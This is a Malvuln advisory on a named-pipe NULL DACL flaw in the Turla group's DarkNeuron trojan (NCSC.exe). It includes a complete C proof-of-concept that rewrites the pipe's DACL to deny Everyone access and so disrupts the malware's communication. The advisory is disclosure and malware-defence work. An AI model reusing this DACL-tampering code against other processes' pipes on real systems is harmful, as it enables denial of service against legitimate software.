Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/d891c9374ccb2a4cae2274170e8644d8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln
Threat: Trojan.Win32.DarkNeuron.gen
Vulnerability: Named Pipe Null DACL
Family: DarkNeuron (Turla Group)
Type: PE32
MD5: d891c9374ccb2a4cae2274170e8644d8
Vuln ID: MVID-2022-0661
Disclosure: 11/24/2022
Description: The malware process "NCSC.exe" creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.
\\.\Pipe\Winsock2\baseapi_http
RW Everyone
RW BUILTIN\Administrators
Local low privileged users can modify the DACL to remove rights for the Everyone users group, denying access to use the pipe for further RW interprocess communications.
Exploit/PoC:
#include "windows.h"
#include "stdio.h"
#include "accctrl.h"
#include "aclapi.h"
/*
Trojan.Win32.DarkNeuron.gen (Turla Group) NCSC.exe
MD5: d891c9374ccb2a4cae2274170e8644d8
NamedPipe Exploit Deny Access to Everyone
By Malvuln
Nov of 2022
**/
#define VULN_TROJAN_PIPE "\\\\.\\pipe\\Winsock2\\baseapi_http"
int main(void){
HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL);
PACL pOldDACL = NULL;
PACL pNewDACL = NULL;
if (hPipe == INVALID_HANDLE_VALUE){
printf("%d", GetLastError());
return 1;
}
if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}
TRUSTEE trustee[1];
trustee[0].TrusteeForm = TRUSTEE_IS_NAME;
trustee[0].TrusteeType = TRUSTEE_IS_GROUP;
trustee[0].ptstrName = TEXT("Everyone");
trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
trustee[0].pMultipleTrustee = NULL;
EXPLICIT_ACCESS explicit_access_list[1];
ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));
explicit_access_list[0].grfAccessMode = DENY_ACCESS;
explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;
explicit_access_list[0].grfInheritance = NO_INHERITANCE;
explicit_access_list[0].Trustee = trustee[0];
if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}
if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}else{
printf("Trojan.Win32.DarkNeuron.gen (Turla Group) PWNED!\n");
printf("By Malvuln\n");
printf("Nov of 2022\n");
}
LocalFree(pNewDACL);
LocalFree(pOldDACL);
CloseHandle(hPipe);
system("pause");
return 0;
}
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